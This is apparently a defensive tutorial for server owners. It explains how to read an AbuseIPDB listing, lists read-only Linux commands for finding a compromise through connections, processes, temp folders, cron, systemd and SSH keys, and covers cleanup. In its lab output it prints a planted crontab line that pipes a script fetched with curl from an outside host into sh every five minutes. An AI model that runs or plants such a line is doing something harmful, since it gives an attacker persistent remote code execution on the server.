A server owner looks up their IP address on AbuseIPDB, maybe because a customer sent a screenshot or a monitoring tool flagged it. The page shows a red bar, a confidence score of 87% and a list of reports from strangers in other countries. The first reaction is usually panic: "Am I blacklisted everywhere? Is my email dead? Was I hacked?" The second most common reaction is the opposite: "It's just bots reporting bots, ignore it."
Both reactions skip the useful part. An AbuseIPDB listing is neither a verdict nor noise by default. It is a set of log lines that other people's servers recorded about traffic coming from your IP. Read correctly, it tells you within a few minutes whether you have a noisy-neighbour problem, an old listing that is fading out, or a server that is attacking other machines right now.
This article walks through that triage step by step: what the listing means, how to read the score and the categories, which read-only commands confirm or rule out a compromise on a Linux server, and what to do afterwards. Every command was tested in an isolated lab. The examples use the documentation range 203.0.113.0/24. Replace it with your own IP.
🧭 The short version
- Reports describe traffic from your IP. In the reporter's logs, your server is the source. Brute-force, SSH and port-scan reports mean something on that IP connected to them.
- The score is not a count. It is based on the number of distinct reporters and on how old the reports are. Weights decay over time and scores are recalculated daily.
- Recent + several reporters + attack categories = check the server now. One old report from one reporter is weak evidence.
- Confirm on the server, not on the website. Outbound connections, processes, temp folders, cron, systemd and SSH keys answer the question in about ten minutes, all read-only.
- Clean first, then the listing fades. New reports after a cleanup mean the cleanup is not finished.
📖 What AbuseIPDB is, and what it isn't
AbuseIPDB is a public, crowdsourced database of IP addresses reported for abuse. Anyone with an account can report an IP, and many reports are sent automatically. The project's own documentation describes a ready-made Fail2Ban integration: a server bans an address that keeps failing SSH logins, and reports it at the same time.
What the documentation says about the score:
- The Abuse Confidence Score runs from 0 to 100 and reflects how confident AbuseIPDB is, based on user reports, that the IP is abusive.
- It is determined by the reports and their age. The base value is the natural logarithm of the number of distinct users who reported the IP, so fifty reports from one server do not weigh like fifty reporters.
- All report weights decay with time, and scores are recalculated daily. The formula is designed so that no single reporter can dominate the rating.
- Reports may only describe attacks no older than 60 days, and SYN or UDP floods cannot be reported at all, because their source addresses are easy to spoof.
How the data is used by others matters more than the listing itself. The documentation presents the score as a basis for blocking connections, through Fail2Ban or by importing the blacklist into a firewall. It recommends 75% to 100% as the range for denying traffic, and it advises against the 25% minimum for most uses. In practice this means that a server with a high score may find that some other servers silently drop its connections. Nothing in the documentation presents AbuseIPDB as an email blocklist (DNSBL). If you have mail delivery problems, check the mail-specific blocklists separately: an AbuseIPDB listing alone does not explain bounces.
🔍 Step 1: Read the listing properly
The web page for your IP shows the same data, but the API is easier to read in a terminal. A free account gives you an API key. The check endpoint with the verbose flag includes the individual reports:
IP=203.0.113.10
curl -sG https://api.abuseipdb.com/api/v2/check \
--data-urlencode "ipAddress=$IP" \
-d maxAgeInDays=90 \
-d verbose \
-H "Key: $ABUSEIPDB_KEY" \
-H "Accept: application/json" \
-o check.json
The response is a JSON object with fields such as abuseConfidenceScore, totalReports (the reports within maxAgeInDays), numDistinctUsers, lastReportedAt, usageType and a reports array. Each report has a timestamp, a comment, its category IDs and an anonymous reporter ID. The script below, standard library only, turns it into a summary you can read in ten seconds:
python3 - check.json <<'EOF'
import json, sys
from collections import Counter
from datetime import datetime, timezone
CAT = {1: "DNS Compromise", 2: "DNS Poisoning", 3: "Fraud Orders", 4: "DDoS Attack",
5: "FTP Brute-Force", 6: "Ping of Death", 7: "Phishing", 8: "Fraud VoIP",
9: "Open Proxy", 10: "Web Spam", 11: "Email Spam", 12: "Blog Spam",
13: "VPN IP", 14: "Port Scan", 15: "Hacking", 16: "SQL Injection",
17: "Spoofing", 18: "Brute-Force", 19: "Bad Web Bot", 20: "Exploited Host",
21: "Web App Attack", 22: "SSH", 23: "IoT Targeted"}
d = json.load(open(sys.argv[1]))["data"]
reports = d.get("reports", [])
now = datetime.now(timezone.utc)
def age_days(r):
return (now - datetime.fromisoformat(r["reportedAt"])).days
for k in ("ipAddress", "abuseConfidenceScore", "totalReports", "numDistinctUsers",
"lastReportedAt", "usageType", "isp", "isWhitelisted"):
print(f"{k:22} {d.get(k)}")
recent = [r for r in reports if age_days(r) <= 7]
print(f"\nreports in the last 7 days : {len(recent)}")
print(f"distinct reporters, 7 days : {len({r['reporterId'] for r in recent})}")
print("\ncategories (all reports in window):")
for c, n in Counter(c for r in reports for c in r["categories"]).most_common():
print(f" {n:4} {c:2} {CAT.get(c, '?')}")
print("\nreports per day:")
for day, n in sorted(Counter(r["reportedAt"][:10] for r in reports).items(), reverse=True)[:14]:
print(f" {day} {n}")
print("\nlatest comments:")
for r in reports[:10]:
print(f" {r['reportedAt'][:16]} {r['comment'][:110]!r}")
EOF
Lab output for a server that is actively brute-forcing SSH:
ipAddress 203.0.113.10
abuseConfidenceScore 87
totalReports 4
numDistinctUsers 3
lastReportedAt 2026-11-17T21:14:02+00:00
usageType Data Center/Web Hosting/Transit
isp Example Hosting
isWhitelisted False
reports in the last 7 days : 3
distinct reporters, 7 days : 2
categories (all reports in window):
2 18 Brute-Force
2 22 SSH
1 14 Port Scan
1 21 Web App Attack
reports per day:
2026-11-17 2
2026-11-16 1
2026-09-02 1
latest comments:
2026-11-17T21:14 'Nov 17 21:14:01 mx1 sshd[2231]: Invalid user admin from 203.0.113.10 port 51522'
2026-11-17T08:02 'Port scan detected: TCP 22,2222,23'
2026-11-16T19:40 'sshd brute force, 412 attempts'
2026-09-02T10:00 ''
The comments are the most valuable part. A line such as sshd[2231]: Invalid user admin from 203.0.113.10 is a log entry copied from the reporter's server. It gives you a timestamp to match against your own processes and logs later.
For IPs with many reports, the separate reports endpoint pages through them (page, perPage up to 100). The documentation marks it as an open beta.
🧭 Step 2: Noise or real signal?
The categories tell you what the reporters saw. Grouped by what they usually mean for the owner of the reported IP:
- Something on the server is attacking others: 18 Brute-Force, 22 SSH, 5 FTP Brute-Force, 14 Port Scan, 15 Hacking, 4 DDoS Attack, 21 Web App Attack, 16 SQL Injection, 23 IoT Targeted. The reporter's logs show your IP as the source of connections.
- Something on the server is sending unwanted content: 11 Email Spam, 17 Spoofing, 10 Web Spam, 12 Blog Spam, 19 Bad Web Bot.
- Something on the server is hosting bad content: 7 Phishing, 1 DNS Compromise. Category 20 Exploited Host is described by AbuseIPDB itself as a host that is likely infected and used for other attacks, where "the host owner may not be aware of the compromise".
- Context, not attack: 9 Open Proxy and 13 VPN IP describe what the IP is used for.
Then weigh the evidence. From my own practice, these patterns are the ones that matter:
- Strong signal, act now: several distinct reporters in the last few days, attack categories, comments with log lines that show your IP as the source. This pattern almost always means a process on the server is doing it.
- Weak signal: one reporter, one or two reports, weeks old, no comments. Check the server anyway (it takes ten minutes), but the listing is probably fading out on its own.
- Not necessarily you: the IP was assigned to you recently and the reports are older than that, or the IP is shared by many sites or accounts. In both cases the reports may describe a previous owner or a neighbour. Ask the provider when the IP was assigned, and compare that date with
lastReportedAt.
One thing you should never conclude from the website alone: "the site looks fine, so the server is fine". A brute-force bot or a miner does not change a single pixel of the homepage.
🛠️ Step 3: Confirm on the server (read-only)
These commands run over SSH as root, because only root can see every process and every user's sockets. They list and read. They do not stop, delete or change anything. Run them before you reboot or "clean" anything, because a reboot destroys exactly the state you want to see.
Outbound connections
Reports of brute-force and scanning mean your server opened connections to other machines. Count established connections by remote port and by remote address. In ss output with a state filter, column 4 is the peer address:
ss -Htn state established | awk '{print $4}' | awk -F: '{print $NF}' | sort | uniq -c | sort -rn | head -10
ss -Htn state established | awk '{print $4}' | sed 's/:[0-9]*$//' | sort | uniq -c | sort -rn | head -10
ss -Htn state syn-sent | wc -l
A web server should have lots of connections on its own ports 80 and 443. Many connections to remote port 22, 23, 3389 or 25, or a large number of half-open syn-sent attempts, mean the server is scanning or brute-forcing. The -p flag shows which process owns them:
ss -Htnp state established '( dport = :22 )' | head -20
ss -Htnp state established '( dport = :25 )' | head -20
Lab output, five outbound SSH sessions, each with its process:
0 0 203.0.113.10:40810 198.51.100.7:22 users:(("python3",pid=29,fd=3))
0 0 203.0.113.10:40778 198.51.100.7:22 users:(("python3",pid=30,fd=3))
0 0 203.0.113.10:40794 198.51.100.7:22 users:(("python3",pid=26,fd=3))
Connections come and go, so a single ss run can miss a bot that works in bursts. If tcpdump is installed, watch outgoing connection attempts from your IP for 30 seconds. The filter matches only new outbound connections (SYN without ACK):
timeout 30 tcpdump -nn -i any -c 200 \
'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0 and src host 203.0.113.10'
Processes
Look at what uses the CPU and how long it has been running. Miners sit at the top. Bots often hide behind names like kworkerd, systemd-helper or [kthreadd]:
ps -eo pid,ppid,user,etime,%cpu,%mem,args --sort=-%cpu | head -25
A process name can be faked. The binary path cannot. This loop lists every process whose executable lives in a temp folder or has already been deleted from disk, a common trick to survive a file scan:
for p in /proc/[0-9]*; do
e=$(readlink "$p/exe" 2>/dev/null) || continue
case "$e" in
*"(deleted)"*|/tmp/*|/var/tmp/*|/dev/shm/*)
echo "PID ${p#/proc/} exe=$e cmd=$(tr '\0' ' ' < "$p/cmdline" | cut -c1-120)";;
esac
done
PID 172 exe=/var/tmp/.d (deleted)
PID 18 exe=/tmp/.x/kworkerd cmd=/tmp/.x/kworkerd 9999
Legitimate software almost never runs from /tmp or from a deleted file. Note the PID, user and start time of every hit, and compare the start time with the first report on AbuseIPDB.
Temp folders
find /tmp /var/tmp /dev/shm -type f \( -perm -u+x -o -name '.*' \) \
-printf '%TY-%Tm-%Td %TH:%TM %u %s %p\n' 2>/dev/null | sort -r | head -50
Executable files and dotfiles in temp folders, newest first. A hidden folder such as /tmp/.x/ with a binary inside is a classic drop location.
Persistence: cron, systemd, SSH keys
Whatever runs the bot usually also restarts it. Check the three common places:
for u in $(cut -d: -f1 /etc/passwd); do
crontab -l -u "$u" 2>/dev/null | grep -vE '^\s*(#|$)' | sed "s/^/[$u] /"
done
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
find /etc/systemd/system /usr/lib/systemd/system -name '*.service' -mtime -30 \
-printf '%TY-%Tm-%Td %TH:%TM %p\n' 2>/dev/null | sort -r | head -30
find /root /home -maxdepth 3 -name 'authorized_keys*' \
-printf '%TY-%Tm-%Td %TH:%TM %u %p\n' 2>/dev/null
Lab output, with the three planted items:
[root] */5 * * * * curl -s http://203.0.113.50/x.sh | sh
2026-11-18 07:56 /etc/systemd/system/dbus-helper.service
2026-11-18 07:56 root /root/.ssh/authorized_keys
A crontab that downloads a script and pipes it to sh is the most common re-infection mechanism. A recently modified service file with a harmless-sounding name, and an authorized_keys file changed on the day the reports started, deserve a cat each. Also check who logged in recently:
last -F -a | head -30
grep -hE 'Accepted (password|publickey)' /var/log/auth.log /var/log/secure 2>/dev/null | tail -30
Mail and web, for spam and phishing categories
If the reports are about email spam, look at the mail queue size. Thousands of queued messages on a small server is the answer:
command -v postqueue >/dev/null && postqueue -p | tail -1
command -v exim >/dev/null && exim -bpc
If the reports are about phishing or web attacks, the cause is usually in the web content rather than in a system process. List recently changed PHP files under the web roots and read the unfamiliar ones:
find /var/www /home/*/public_html -type f -name '*.php' -mtime -14 \
-printf '%TY-%Tm-%Td %TH:%TM %u %p\n' 2>/dev/null | sort -r | head -100
🧹 Step 4: If you found something
This is my general practice once the checks above confirm a compromise:
- Preserve first. Save the output of the commands above, and copy and hash each suspicious binary and script before you remove anything. A deleted binary that is still running can be copied from
/proc/<PID>/exe. - Remove persistence before the process. If you kill the bot first, the cron entry or the service brings it back within minutes. Remove the cron line, the service and unknown SSH keys, then stop the processes.
- Find the entry point. A weak password, an exposed service or a vulnerable web application let it in. Without fixing that, the server will be reinfected and reported again.
- Change the credentials that were used on the server: SSH passwords, keys and control-panel logins.
- Tell your provider. Hosting providers often receive the same abuse reports by email. A short note that you found and removed the cause helps.
If you are not comfortable doing this on a production server, get help before you start deleting. A rushed cleanup that destroys the evidence and misses the persistence is the most expensive outcome.
✅ Step 5: After the cleanup
There is no "delist" button that makes the reports disappear, and that is by design:
- The score falls on its own as report weights decay and are recalculated daily, provided no new reports arrive.
- The API lets a user delete only the reports they submitted. For reports from others, the documentation points to the takedown request form on the IP's own page.
- AbuseIPDB reserves the right to remove reports at its discretion.
The most useful thing you can do is monitor. Run the Step 1 check daily for two weeks and look only at new reports. No new reports means the cleanup worked and the listing is ageing out. New reports with fresh timestamps mean something is still running, and you go back to Step 3.
📋 Triage checklist
- Pull the listing with the API (
verbose,maxAgeInDays=90) and summarize it. - Note the score, distinct reporters, last report date and reports in the last 7 days.
- Map the categories: attacking others, sending spam, hosting content, or context only.
- Read the comments for log lines and timestamps.
- Check whether the IP was recently assigned to you or is shared.
- On the server, as root, read-only: outbound connections by port and peer, SYN-SENT count, owning processes.
- Processes by CPU, and processes running from temp folders or from deleted binaries.
- Executables and dotfiles in
/tmp,/var/tmp,/dev/shm. - Crontabs for every user, cron folders, recent systemd units,
authorized_keys, recent logins. - Mail queue for spam categories, recently changed PHP files for web and phishing categories.
- If compromised: preserve, remove persistence, stop processes, fix the entry point, rotate credentials.
- Monitor new reports daily for two weeks.
💡 Takeaways
- A listing is a set of other people's log lines about traffic from your IP, not a verdict.
- Distinct reporters and recent dates matter far more than the total report count.
- Brute-force, SSH and port-scan reports point to a process on the server, not to the website.
- Ten minutes of read-only commands tell you whether there is something to clean.
- Clean the cause and the score fades. Chase the score without cleaning and the reports keep coming.
❓ FAQ
My IP is on AbuseIPDB. Does that mean my server was hacked?
Not necessarily. Reports describe traffic from your IP that other servers considered abusive. Several recent reports from different reporters in categories like Brute-Force, SSH or Port Scan usually mean a process on the server is attacking others. One old report from one reporter is weak evidence. Check the server to be sure.
Will an AbuseIPDB listing block my email?
AbuseIPDB presents its score as a basis for blocking connections, for example with Fail2Ban or a firewall, so some servers may refuse connections from a highly scored IP. It does not present itself as an email blocklist. If mail is bouncing, check the mail-specific blocklists separately.
How is the confidence score calculated?
According to AbuseIPDB, the score is based on reports and their age. The base value is the natural logarithm of the number of distinct users who reported the IP, all report weights decay over time, and scores are recalculated daily. No single reporter can dominate it.
Can I get the reports removed?
You can delete only reports your own account submitted. For reports from others, AbuseIPDB's documentation points to the takedown request form on the IP's page. In most cases the practical path is to remove the cause and let the score decay as no new reports arrive.
The reports are older than the date I got this IP. What now?
Then they probably describe a previous user of the address. Ask your provider for the assignment date, keep that as evidence, still run the read-only server checks once, and watch for new reports. Reports that stop arriving fade out over time.
📚 Sources
- AbuseIPDB FAQ: confidence score calculation, time decay, report rules.
- AbuseIPDB report categories: category IDs and descriptions.
- AbuseIPDB API documentation: CHECK and REPORTS endpoints, blacklist thresholds, report deletion.
- AbuseIPDB reporting policy: 60-day limit, disallowed report types, removal discretion.
- AbuseIPDB Fail2Ban integration: automatic reporting by servers.